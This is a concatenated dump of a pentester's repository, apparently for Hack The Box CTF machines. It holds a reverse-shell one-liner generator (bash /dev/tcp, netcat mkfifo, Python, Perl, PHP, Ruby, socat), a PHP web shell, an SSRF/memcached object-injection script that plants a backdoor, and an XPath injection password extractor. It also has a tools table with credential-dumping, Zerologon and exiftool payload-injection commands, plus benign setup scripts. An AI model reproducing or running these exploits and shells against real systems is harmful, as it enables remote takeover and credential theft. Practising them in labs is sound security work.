parser.add_argument('-b', '--bash',metavar=('ip', 'port'), help="bash reverse shell", nargs=2)
parser.add_argument('-n', '--nc',metavar=('ip', 'port'), help="netcat reverse shell", nargs=2)
parser.add_argument('-py', '--python',metavar=('ip', 'port'), help="python reverse shell", nargs=2)
parser.add_argument('-p', '--perl',metavar=('ip', 'port'), help="perl reverse shell", nargs=2)
parser.add_argument('-r', '--ruby',metavar=('ip', 'port'), help="ruby reverse shell", nargs=2)
parser.add_argument('-php', '--php',metavar=('ip', 'port'), help="php reverse shell", nargs=2)
parser.add_argument('-s', '--socat',metavar=('ip', 'port'), help="socat reverse shell", nargs=2)
argparse = parser.parse_args()
def logo():
print("""
## ## ######## ####### ## ## ###### ## ## ######## ###### ## ## ####### ## ##
## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ######## ####### ## ## ## ## ######### ######## ###### ######### ####### ## ##
## ## ## ## ## ## ## #### ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ### ## ## ## ## ## ## ## ## ## ## ## ## ## ##
### ### ## ## ####### ## ## ###### ## ## ## ## ###### ## ## ####### ######## ########
""")
if argparse.bash:
log.info(f'bash -i >& /dev/tcp/{argparse.bash[0]}/{argparse.bash[1]} 0>&1')
elif argparse.nc:
log.info(f"nc -e /bin/sh {argparse.nc[0]} {argparse.nc[1]}")
log.info(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {argparse.nc[0]} {argparse.nc[1]} >/tmp/f")
elif argparse.python:
log.info(f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{argparse.python[0]}',{argparse.python[1]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'")
elif argparse.perl:
log.info(f"perl -e 'use Socket;$i='{argparse.perl[0]}';$p={argparse.perl[1]};socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};'\n")
elif argparse.php:
log.info(f"php -r '$sock=fsockopen('{argparse.php[0]}',{argparse.php[1]});exec('/bin/sh -i <&3 >&3 2>&3');'")
log.info("<?php system($_GET['cmd']);?>")
log.info(f"<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/{argparse.php[0]}/{argparse.php[1]} 0>&1\"');")
elif argparse.ruby:
log.info(f"ruby -rsocket -e'f=TCPSocket.open('{argparse.ruby[0]}',{argparse.ruby[1]}).to_i;exec sprintf('/bin/sh -i <&%d >&%d 2>&%d',f,f,f)'")
elif argparse.socat:
log.info("On the Attacker Machine: \n")
log.success(f"socat file:`tty`,raw,echo=0 tcp-listen:{argparse.socat[1]}")
log.info("On the Client Machine: \n")
log.success(f"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{argparse.socat[0]}:{argparse.socat[1]}")
else:
logo()
parser.print_help()
================================================
FILE: scripts/hackthebox/snapwr3nch.py
================================================
'''
##############################################################################################
provide your htb user id, machine Id and machine name
user id : https://www.hackthebox.eu/home/users/profile/220867, 220867 9s the profile id
api key can be found in `hackthebox.eu/home/settings`
enter the machine name and get snapped =)
required modules
1. requests - pip3 install requests
2. imgkit - pip3 install imgkit
wkhtmltopdf to be used by imgkit - sudo apt-get install wkhtmltopdf
3. coloroma - pip install colorama
ISSUE:
If you face error like: `requests.exceptions.SSLError: HTTPSConnectionPool`
please add `,verify= False)` in line 44
###############################################################################################
'''
import requests
import sys
from colorama import Fore, Back, Style
import json
import imgkit
BOLD = '\033[1m'
UNBOLD = "\033[0;0m"
def gen():
#variables
URL = 'https://www.hackthebox.eu/api/machines/get/all?api_token='
api_ = input("Enter your API Key: ")
URL += api_
ach_ = 'https://www.hackthebox.eu/achievement/machine/'
userId = input("Enter your htb id: ")
macNam = ''
HEADERS = { 'User-agent': 'Mozilla 5.0'}
macId = ''
# process
r = requests.get(url = URL, headers = HEADERS)
if r.status_code == 200:
machines = r.json()
name = input("Machine name: ")
macNam = name
for machine in machines:
if machine['name'].lower() == name.lower():
macId = str(machine['id'])
print("==================================================================")
print("Capturing the " + macNam + " machine")
print("==================================================================")
dn = ach_ + userId + '/' + macId
red = requests.get(url = dn, headers = HEADERS)
#print(dn)
if "Invalid" in red.text:
print("Looks like, you Haven't completed the "+ macNam + "machine yet (>_<)")
else:
print("Congratulations on completing the box =D")
print('Processing the snapshot...')
imgkit.from_url( dn , macNam +'.jpg')
def logo():
print(Fore.LIGHTGREEN_EX + """
.oooo. oooo
.dP""Y88b `888
.oooo.o ooo. .oo. .oooo. oo.ooooo. oooo oooo ooo oooo d8b ]8P' ooo. .oo. .ooooo. 888 .oo.
d88( "8 `888P"Y88b `P )88b 888' `88b `88. `88. .8' `888""8P <88b. `888P"Y88b d88' `"Y8 888P"Y88b
`"Y88b. 888 888 .oP"888 888 888 `88..]88..8' 888 `88b. 888 888 888 888 888
o. )88b 888 888 d8( 888 888 888 `888'`888' 888 o. .88P 888 888 888 .o8 888 888
8""888P' o888o o888o `Y888""8o 888bod8P' `8' `8' d888b `8bd88P' o888o o888o `Y8bod8P' o888o o888o
888
o888o
""" + Fore.RESET)
if __name__ == "__main__":
logo()
print("Simple SnapShot tool by wr3nch")
print(BOLD + 'Coded by a n00b: '+ Fore.BLUE + 'cyberwr3ch' + Fore.LIGHTBLACK_EX + '\nMember of TCSC' + Fore.RESET)
print('With the help of my bros, AdithyanAK and Gokul' + UNBOLD)
gen()
print("\n Happy Hacking")
================================================
FILE: scripts/hackthebox/travel.py
================================================
#!/usr/bin/env python3
from urllib import parse
from pwn import *
from requests import *
# variables
fileN = input(str("Enter the backdoor name .php > "))
commandN = input(str("Enter the php command >"))
key = "xct_4e5612ba079c530a6b1f148c0b352241"
# object creation
obj ='O:14:"TemplateHelper":2:{s:4:"file";s:'+str(len(fileN))+':"'+fileN+'";s:4:"data";s:'+str(len(commandN))+':"'+commandN+'";}'
length = len(obj)
log.warning("PHP Object Created with length {}".format(length))
# gopher url
log.info("gopher url generated")
gopherurl = "%0d%0aset {} 4 0 {}%0d%0a{}%0d%0a".format(key,length,obj)
log.info ("attempting SSRF")
# replacing url characters cause might result in double url encoding which causes to fail the exploit
# ssrf_url = "gopher://127.00.0.1:11211/_"+parse.quote(gopherurl)
ssrf_url = "gopher://127.00.0.1:11211/_"+parse.quote(gopherurl).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
# making request to the awesome-rss with customurl set
#make = "http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+ssrf_url
make = "http://blog.travel.htb/awesome-rss/?custom_feed_url="+ssrf_url
log.info("performing request on {}".format(make))
r = get(make)
if r.status_code == 200:
log.info("Successfully made the request")
log.info("Reloading contents")
req = get("http://blog.travel.htb/awesome-rss/")
if req.status_code == 200:
log.warning("looking for backdoor")
door = "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/"+fileN
back = get(door)
if back.status_code == 200:
log.success("{} found".format(fileN))
log.success("Backdoor location: {} \n".format(door))
else:
log.failure("backdoor not found, server with the status code '{}'".format(back.status_code))
else:
log.failure("Connection to refresh failed: {}".format(req.status_code))
###
# Logs
# - Observed changes when using rawurlencode(), changes occured ".Template.file & .Template.data" - [x]
# - Changed the change and looked no good result - [x]
# - Add feed url and change the xct_ cache according to that - [ongoing]
###
================================================
FILE: scripts/hackthebox/wr3nch.py
================================================
#!/bin/python3
import os
import time
import sys
from colorama import Fore, Back, Style
BOLD = '\033[1m'
machine_ = input(str("Enter machine name: "))
ip_ = input(str("Enter machine IP: "))
http_ = ""
https_ = ""
hport_ = int(80)
hsport_ = "443"
def nmap():
print(BOLD + Fore.BLUE + " \n \n[+]NMAP Enumeration Started \n" + Fore.WHITE)
nmap_ = 'sudo nmap -Pn -vv -sC -sV -oN {}.nmap {}'.format(machine_, ip_)
os.system(nmap_)
print(BOLD + Fore.RED + "[+] NMAP Enumeration Ended \n" + Fore.WHITE)
print(BOLD + Fore.CYAN + "[+] LOOKING FOR PORTS [+]" + Fore.WHITE)
ports("{}.nmap".format(machine_))
def ports(scanOutput):
with open(scanOutput) as outPut:
if "http" in outPut.read():
por_ = "grep -w 'http' %s.nmap | cut -d '/' -f 1 | awk 'NR==1{print $1}' | cut -c1-5" % machine_
print(Fore.LIGHTBLUE_EX + "HTTP Port found in: ")
global hport_
hports_ = os.popen(por_).read()
hport_ = int(hports_)
print(hport_)
global http_
http_ = 1
direnumeration()
elif 'https' in outPut.read():
por_ = "grep -w 'http' %s.nmap | cut -d '/' -f 1 | awk 'NR==1{print $1}' | cut -c1-5" % machine_
print(Fore.LIGHTBLUE_EX + "HTTP Port found in: ")
global hsport_
hports_ = os.popen(por_).read()
hsport_ = int(hports_)
print(hsport_)
global https_
https_ = 1
direnumeration()
else:
print(BOLD + Fore.RED + "HTTP / HTTPS ports are not found")
print(BOLD + Fore.YELLOW + "Enumerating UDP ports")
nmapUDP = 'sudo nmap -sU {}'.format(ip_)
os.system(nmapUDP)
def direnumeration():
print(BOLD + Fore.MAGENTA + "[+] Directory Enumeration" + Fore.WHITE)
while http_ :
gobuster_ ="gobuster dir -u http://{}:{} -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 401,402,403,404,502 -x php,html,json,text -t 5 -o go-http.txt".format(ip_, hport_)
os.system(gobuster_)
print(BOLD + Fore.RED + '[+] Root Directory Enumerated')
print(BOLD + Fore.GREEN + "[+]VHost LookUp[+]" + Fore.WHITE)
vhost()
while https_:
gobuster_ ="gobuster dir -u http://{}:{} -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 401,402,403,404,502 -x php,html,json,text -t 5 -o go-http.txt".format(ip_, hport_)
os.system(gobuster_)
print('[+] Root Directory Enumerated')
print(Fore.BLUE + "[+] Directory enumerated")
def vhost():
print(BOLD + Fore.YELLOW + "[+] VHOST Checking" + Fore.WHITE)
vhst = "ffuf -u http://FUZZ/{}:{} -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -sf -fc 401,402,403,404 -of vhost-ffuf.json".format(ip_,hport_)
os.system(vhst)
user_ = 'whoami'
print(BOLD + Fore.RED + "[+] VHOST Enumeration Completed")
print(BOLD + Fore.LIGHTCYAN_EX + "Every Process is done" + Fore.RESET)
print(BOLD + Fore.GREEN + "{+} Everthing is done, Meet you soon :")
os.system(user_)
sys.exit()
def logo():
print(Fore.LIGHTGREEN_EX + """
____ _
__ __ ___ |__ /_ _ __| |_ _ __ _ _
\ V V / '_|_ \ ' \/ _| ' \ _| '_ \ || |
\_/\_/|_||___/_||_\__|_||_(_) .__/\_, |
|_| |__/
""" + Fore.RESET)
if __name__ == "__main__":
logo()
print("Test Version 2.0")
print(BOLD + 'Coded by a n00b: '+ Fore.BLUE + 'cyberwr3ch' + Fore.LIGHTBLACK_EX + '\nMember of TCSC')
print(Fore.YELLOW + "Script that scans ports and enumerate dirs for CTF's")
time.sleep(3)
nmap()
================================================
FILE: scripts/hackthebox/xpath-inj.py
================================================
import requests
#variables, add the suspicious users, in u [] list
url = ''
proxy_url = ''
w = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*(){}:"<>?'
u = []
#main logic for injection
for user in u:
data = {'Username': '', 'Password': "' or Username='" + user + "'and substring(Password,0,1)='x"}
request = requests.post(url,data=data, proxies={'http':proxy_url})
b = len(request.text) #6756
cracked_pass = ''
for i in range(1,80):
found = False
for c in w:
data = {'Username':'', 'Password': "' or Username='" + user + "' and substring(Password," + str(i) + ",1)='" + c + ""}
request = requests.post(url,data=data, proxies={'http':proxy_url})
if len(request.text) != b:
found = True
break
if not found:
print(' Attempting User {0}'.format(user))
print('Found Character: {2}'.format(user, i, c))
cracked_pass += c
print(cracked_pass)
================================================
FILE: scripts/installation/docker-linux.sh
================================================
#!/bin/bash
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt update
sudo apt remove docker docker-engine docker.io -y 2>/dev/null
sudo apt install docker-ce -y
================================================
FILE: scripts/installation/docker-parrot.sh
================================================
#!/bin/bash
if [ $EUID -ne 0 ];then
echo "Please Run as root"
exit
fi
sudo apt-get remove docker docker-engine docker.io containerd runc 2>/dev/null
sudo apt-get update
sudo apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
================================================
FILE: scripts/installation/docker-standard.sh
================================================
#!/bin/bash
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
================================================
FILE: scripts/installation/fping-install.sh
================================================
#!/bin/bash
sudo apt-get install fping
================================================
FILE: scripts/installation/pwntools-python3.sh
================================================
git clone https://github.com/arthaud/python3-pwntools; cd python3-pwntools; pip3 install -e .
================================================
FILE: scripts/installation/python2-pip.sh
================================================
#!/bin/bash
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py; python get-pip.py
================================================
FILE: scripts/installation/python3-pip.sh
================================================
#!/bin/bash
sudo apt-get install python3-pip
================================================
FILE: scripts/misc/adapter.sh
================================================
#!/bin/bash
dn=`ifconfig tun0 2>/dev/null | grep -P "10.10.*.* " | awk '{print $2}'`
nd=`ifconfig eth0 | grep -P "192.168.[0-9]{3}.[0-9]{3}" | awk '{print $2}'`
if [[ -z $dn ]]
then
echo $nd 2>/dev/null
else
echo $dn
fi
================================================
FILE: scripts/misc/bashrc_custom
================================================
case $- in
*i*) ;;
*) return;;
esac
HISTCONTROL=ignoreboth
shopt -s histappend
HISTSIZE=1000
HISTFILESIZE=2000
shopt -s checkwinsize
#shopt -s globstar
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi
case "$TERM" in
xterm-color) color_prompt=yes;;
esac
force_color_prompt=yes
if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi
#htb_ip=`ifconfig tun0 | grep inet | tr -s " " | awk 'NR==1{print $2}'`
htb_ip=$(ip addr | grep tun0 | grep inet | grep 10. | tr -s " " | cut -d " " -f 3 | cut -d "/" -f 1)
if [ "$color_prompt" = yes ]; then
PS1="${debian_chroot:+($debian_chroot)}\[\033[01;34m\]\u@\h\[\033[00m\]:\[\033[01;97m\]\W\[\033[00m\]:[\033[01;96m\]$htb_ip\033[00m\]]\$ "
else
PS1='┌──[\u@\h]─[\w]\n└──╼ \$ '
fi
# Set 'man' colors
if [ "$color_prompt" = yes ]; then
man() {
env \
LESS_TERMCAP_mb=$'\e[01;31m' \
LESS_TERMCAP_md=$'\e[01;31m' \
LESS_TERMCAP_me=$'\e[0m' \
LESS_TERMCAP_se=$'\e[0m' \
LESS_TERMCAP_so=$'\e[01;44;33m' \
LESS_TERMCAP_ue=$'\e[0m' \
LESS_TERMCAP_us=$'\e[01;32m' \
man "$@"
}
fi
unset color_prompt force_color_prompt
# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
#PS1="\[\033[1;32m\]\342\224\200[\[\033[1;37m\]\u\[\033[01;32m\]@\[\033[01;34m\]\h\[\033[1;32m\]]\342\224\200[\[\033[1;37m\]\w\[\033[1;32m\]]\\$\[\e[0m\] "
PS1="\[\033[0;31m\]\342\224\214\342\224\200\$([[ \$? != 0 ]] && echo \"[\[\033[0;31m\]\342\234\227\[\033[0;37m\]]\342\224\200\")[$(if [[ ${EUID} == 0 ]]; then echo '\[\033[01;31m\]root\[\033[01;33m\]@\[\033[01;96m\]\h'; else echo '\[\033[0;39m\]\u\[\033[01;33m\]@\[\033[01;96m\]\h'; fi)\[\033[0;31m\]]\342\224\200[\[\033[0;32m\]\w\[\033[0;31m\]]\n\[\033[0;31m\]\342\224\224\342\224\200\342\224\200\342\225\274 \[\033[0m\]\[\e[01;33m\]\\$\[\e[0m\]"
;;
*)
;;
esac
# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
alias dir='dir --color=auto'
alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# some more ls aliases
alias ll='ls -lh'
alias la='ls -lha'
alias l='ls -CF'
alias em='emacs -nw'
alias dd='dd status=progress'
alias _='sudo'
alias _i='sudo -i'
alias please='sudo'
alias fucking='sudo'
alias chuck_norris_says='sudo'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
rt(){
clear && source ~/.bashrc
}
================================================
FILE: scripts/misc/fix-bg-noise-obs.sh
================================================
# Microphone Realtime background noise reduction script
# author Luigi Maselli - https://grigio.org licence: AS-IS
# credits: http://askubuntu.com/questions/18958/realtime-noise-removal-with-pulseaudio
# run as: sudo && pulseaudio -k
# source: https://gist.github.com/adrianolsk/bfa32f3227dc674eff72a2008f6c0316
# run this and change the mic to "BUILT IN Audio Analog"
sudo cp /etc/pulse/default.pa /etc/pulse/default.pa.bak
sudo cat <<EOT >> /etc/pulse/default.pa
load-module module-echo-cancel source_name=noechosource sink_name=noechosink
set-default-source noechosource
set-default-sink noechosink
EOT
================================================
FILE: scripts/misc/pdf-protect.sh
================================================
#!/bin/bash
echo Enter the directory name:
read dir_
cd $dir_
echo enter the root hash
read hash_
dn=$(basename *.pdf)
echo The found pdf is $dn
dnd=$(echo $dn | cut -d '.' -f 1)
pdftk $dn output $dnd-Protected.pdf userpw $hash_
================================================
FILE: scripts/misc/report-gen.md
================================================
---
title: "<title>"
author: cyberwr3nch
date: "<date>"
subject: "Hackthebox writeup"
keywords: [smb, ftp]
subtitle: "Writeup from cyberwr3nch"
lang: "en"
titlepage: true
titlepage-color: "000000"
titlepage-text-color: "FFFFFF"
titlepage-rule-color: "FFFFFF"
titlepage-rule-height: 0
titlepage-background: "tp1.jpg"
book: true
classoption: oneside
code-block-font-size: \scriptsize
---
# MainHeading
## Subheading
> text
```bash
code code-block-font-size
whoami
```
================================================
FILE: scripts/misc/report.sh
================================================
#!/bin/bash
################################################################################################
# start the markdown with a frontmatter
# ---
# title: "Attacktive Directory [TryHackMe]"
# author: cyberwr3nch
# date: "2021-02-21"
# subject: "Active Directory Basics"
# keywords: [ad, enum4linux, domain, domain controller, internal PT]
# subtitle: "Basics of Active Directory Exploitation"
# lang: "en"
# titlepage: true
# titlepage-color: "1E90FF"
# titlepage-text-color: "000000"
# titlepage-rule-color: "FFFFFF"
# titlepage-rule-height: 1
# book: true
# classoption: oneside
# code-block-font-size: \scriptsize
# ---
## Vim Shortcuts to include the formatter
## Remove the start with #<space> --> :%s/^#\s//g
## Remove the unwanted whitespace characters --> :%s/\s//g
################################################################################################
# variables
RED='\033[0;31m'
NC='\033[0m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
# main usage
if [ "$#" -ne 2 ]; then
echo -e "[${YELLOW}*${NC}] Usage: $0 <input.md> <output.pdf>"
# echo "Themes: pygments, kate, monochrome, breezeDark, espresso, zenburn, haddock, tango"
# change line 73 to one of these themes
exit
fi
# pandoc check
echo -e "[${YELLOW}-${NC}] Checking for availability of pandoc.."
if ! command -v pandoc &> /dev/null
then
echo -e "[${RED}+${NC}] Pandoc not installed \n"
read -p "Do you want to install pandoc (Y/n) ?" -n 1 -r
if [[ $REPLY =~ ^[Yy]$ ]]
then
echo -e "\n[${BLUE}+${NC}] Installing Pandoc..."
sudo apt-get install pandoc
else
echo -e "\n[${RED}*${NC}] pandoc not found "
exit
fi
else
echo -e "[${BLUE}+${NC}]Pandoc seems to be installed"
fi
# texlive checking
echo -e "[${YELLOW}-${NC}] Checking for latex installation ..."
if ! command -v latex &> /dev/null
then
echo -e "[${RED}+${NC}] latex is not installed \n"
read -p "Do you want to install texlive-full (Y/n) ? " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]
then
echo -e "\n[${BLUE}+${NC}] Installing texlive-full"
sudo apt-get install texlive-full
else
echo -e "\n[${RED}*${NC}] Latex Not found"
exit
fi
else
echo -e "[${BLUE}+${NC}] latex is installed"
fi
# esivogel check
echo -e "[${YELLOW}-${NC}] Checking for the availability of esivogel.latex..."
if [ ! -e /usr/share/pandoc/data/templates/eisvogel.latex ];then
read -p "eisvogel.latex is not want to download and intstall it (Y/n) ? " -n 1 -r
if [[ $REPLY =~ ^[Yy]$ ]]
then
cd /tmp/; wget https://github.com/Wandmalfarbe/pandoc-latex-template/releases/download/v2.0.0/Eisvogel-2.0.0.tar.gz; tar -zxvf Eisvogel-2.0.0.tar.gz; sudo cp eisvogel.latex /usr/share/pandoc/data/templates/eisvogel.latex;
echo -e "\n[${BLUE}+${NC}] eisvogel.latex added"
else
echo -e "\n[${RED}*${NC}] eisvogel.latex is not found"
exit
fi
else
echo -e "[${BLUE}+${NC}] eisvogel.latex is found in /usr/share/pandoc/data/templates"
fi
# file generate
pandoc $1 -o $2 \
--from markdown+yaml_metadata_block+raw_html \
--template eisvogel \
--table-of-contents \
--toc-depth 6 \
--number-sections \
--top-level-division=chapter \
--highlight-style breezeDark
# output open
if [ $? -eq 0 ];then
echo "Process finished"
read -p "Do you want to open the PDF ? (Y/n) " -n 1 -r
if [[ $REPLY =~ ^[Yy]$ ]];then
echo
xdg-open $2
else
echo
echo "Bye Bye"
echo
exit
fi
else
echo "Bye Bye"
fi
================================================
FILE: tools/README.md
================================================
# Tools
- Tools that I use during pentest `tools.md`
#### Windows and Active Directory
| Tool | Use | Command Syntax |
| ---- | --- | -------------- |
| [Bloodhound.py](https://github.com/fox-it/BloodHound.py) | BloodHound written in python. Used to obtain AD infromations from a windows machine | `python3 bloodhound-python -u <username> -p <passphrase> -ns <machineIP> -d <domainname> -c all` |
| [Impackets](https://github.com/SecureAuthCorp/impacket) | Swiss Knife for most Windows AD attacks | `python GetNPUsers.py <domain_name>/ -usersfile <users_file>` = ASREPRoasting <br /> `python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password>` = Kerberoasting |
| [Kerbrute](https://github.com/ropnop/kerbrute) | A tool written in GO to enumerate AD users | `./kerbrute userenum --dc <machine ip> -d <doaminname> <users_file>` |
| [CredDump](https://github.com/moyix/creddump) | Used to obtain Cached Credentials, LSA Secrets and Password hash when system and sam files are available | `./pwdump.py <system hive> <sam hive>` = Obtain Password Credentials <br /> `./cachedump.py <system hive> <sam hive>` = obtain cached credentials <br /> `./lsadum.py <system hive> <sam hive>` = Obtain LSA Dumps |
| [PwdDump](https://github.com/moyix/creddump) | After getting the `administrative` access, running this will get the password hashes | `.\PwDump7.exe`|
| [ApacheDirectoryStudio](https://directory.apache.org/studio/downloads.html) | LDAP browser which is used to analyze LDAP instance running on linux (CREDS required), here transferring the LDAP running on a victim machine and accessing it in the attacker machine | `sudo ssh -L 389:172.20.0.10:389 lynik-admin@10.10.10.189` |
| [Windsearch](https://github.com/ropnop/go-windapsearch) | Enumerates anything as a authenticated user on the network with modules | `windsearch -d spookysec.local -u 'svc-admin' -p 'management2005' -m computers` |
#### Port Forwarding
| Tool | Use | Command Syntax|
| ---- | --- | -------------- |
| [Chisel](https://github.com/jpillora/chisel) | Used to forward a service running on a port in the victim machine | `./chisel server -p <port no.> --reverse` = on the attacker machine <br /> `./chisel client <attackerip:port> R:1234:127.0.0.1:1121` = Forwards the service running on port 1121 to the port 1234 on attackers machine |
| [socat](https://github.com/craSH/socat) | Swiss Knife for Port forwarding | `socat TCP-LISTEN:8000,fork TCP:<machineIP>:<port>` = Listens on every connection to port `8000` and forwards to the `machineIP` and its `port` <br /> `socat TCP-LISTEN:9002,bind=<specific ip>,fork,reuseaddr TCP:localhost:<port>` = forward all incoming requests to the port 9002 from <specific ip> to the localhost port, reuseaddr is used to specify socat use the address (eg. localhost) even if its used by other services|
| [plink](https://github.com/Plotkine/pentesting/blob/master/Windows_privilege_escalation/Windows-privesc-tib3rius/plink.exe) | SSH Putty in CLI mode | `.\plink.exe <user@host> -R <remote port>:<localhost>:<local port>` .\plink.exe kali@10.10.14.32 -R 8888:127.0.0.1:8888 = port forwards the service running on victim machines port 8888 to the attacker machines 8888 |
| ssh | uses the built in ssh service to port forward a service | **Remote Port Forwarding:** <br /> > Command should be entered on the compromied machine<br />`ssh <user@host> -R <host>:<port open in host>:<localhost>:<port in victim machine> -N -f` <br /> ssh cyberwr3nch@192.168.XX.XX -R 192.168.XX.XX:3000:127.0.0.1:80 -N -f = Open the port 3000 in the cyberwr3nch's machine and forwards the service running in port 80 to the cyberwr3nch's 3000. So visiting 127.0.0.1:3000 in cyberwr3nch's browser will be the same of visiting 127.0.0.1:80 on the victim machine <br /> ================ <br /> **Dynamic Port Forwarding:** <br /> > Command to be executed on the attacker machine <br /> `ssh -D <port on attacker machine> <victim@victim_machine>`<br /> ssh -D 1234 victim@192.168.XX.XX = Command to be executed on the attackers machine, the port 1234 should be configured in the `/etc/proxychains.conf` as `socks4 127.0.0.1 1234`. If SSH Dynamic port forwarding fails, go for chisel method <br /> ================ <br /> **Local Port Forwarding:** <br /> > Command to be executed on the attacker machine <br /> `ssh -L 127.0.0.1:<port to req>:<internal ip>:<internal port> <intermediate_user@host>` <br /> ssh -L 127.0.0.1:8080:10.10.10.11:80 cyberwr3nch@10.10.10.10 = Whatever request to made to the attacker machine's port 8080 will travel through 10.10.10.10 and reach 10.10.10.11:80 <br /> `ssh -L <attacker machine port>:127.0.0.1:<port on service running> <user>@<host>` <br /> ssh -L 443:127.0.0.1:8443 nadine@10.10.10.21 -> The service running on 10.10.10.21:8443 is forwarded to attacker machine's port 443 when the port 443 is requested in attackers machine, the contents of 10.10.10.21:8443 are retrived|
#### Directory Enumeration
| Tool | Use | Command Syntax |
| ---- | --- | -------------- |
| [DirSearch](https://github.com/maurosoria/dirsearch) | Directory enumeration Tool | `python3 dirsearch.py -u <url> -e <extn>` |
| [Gobuster](https://github.com/OJ/gobuster) | Directory enumeration tool written in GO | `gobuster dir -u <url> -w <wordlist> -x <extn> -b <hide status code> -t <threads>`|
| [RustBuster](https://github.com/phra/rustbuster)| Direcotry Enumeration tool written in rust | `rustbuster dir -u <url> -w <wordlist> -e <extn>` |
#### Post Exploitation
| Tool | Use | Command Syntax |
| ---- | --- | -------------- |
| [LinEnum](https://github.com/rebootuser/LinEnum) | Post Enumeration scripts that automates enumeration | `./LinEnum.sh` |
| [LinPeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) | Post Enumeration Script | `./linpeas.sh` |
| [WinPEASbat/WinPEASexe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) | Windows post enumeration script and exe | `.\winPEAS.bat` |
#### Misc
| Tool | Use | Command Syntax |
| ---- | --- | -------------- |
| [Exiftool](https://github.com/exiftool/exiftool) | Inspects the meta data of the image, Injects php payload in the comment section for file upload vulns, which can be added double extension `file.php.ext` | `./exiftool -Comment='<?php system($_GET['cmd']); ?>' <image.ext>`
| [Git Dumper](https://github.com/arthaud/git-dumper) | Dump the Github repo if found in website | `./git-dumper.py <website/.git> <output folder>` |
| [lxd-alpine builder](https://github.com/saghul/lxd-alpine-builder) | When a victim machine is implemented with lxc the privesc is done with this | [`article here`](https://www.hackingarticles.in/lxd-privilege-escalation/) |
| [Php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell) | Php reverse shell, when an upload is possible change the IP and make req to obtain reverse shell | |
| [ZerologonPOC](https://github.com/risksense/zerologon) | CVE-2020-1472 Exploit, sets the domain admin password as empty pass and dump the secrets. _PS: Latest Version of Impackets is required_ | `python3 set_empty_pw.py machinename/domainname machine IP; secretsdump.py -just-dc -no-pass machinename\$@machineip`|
| [Gopherus](https://github.com/tarunkant/Gopherus) | SSRF with `gopher://` protocol | `gophreus --exploit phpmemcache` |
| [pse](https://github.com/ssstonebraker/Pentest-Service-Enumeration) | Quick notes from the terminal | |
| [Shellerator](https://github.com/ShutdownRepo/shellerator) | Quick reverse shell commands generator | |
| [Starship](https://starship.rs/guide/#%F0%9F%9A%80-installation) | Cool Bash interpreter | |
| [bat](https://github.com/sharkdp/bat) | Colored man pages and cat | |
| [colorls](https://github.com/athityakumar/colorls) | decorated ls | |
| [exa](https://github.com/ogham/exa) | colored ls (JH Uses... I guess...) | |
================================================
FILE: tools/tools.md
================================================
# Tools for playing
| Tool | Usage | Link |
| ---- | ----- | ---- |
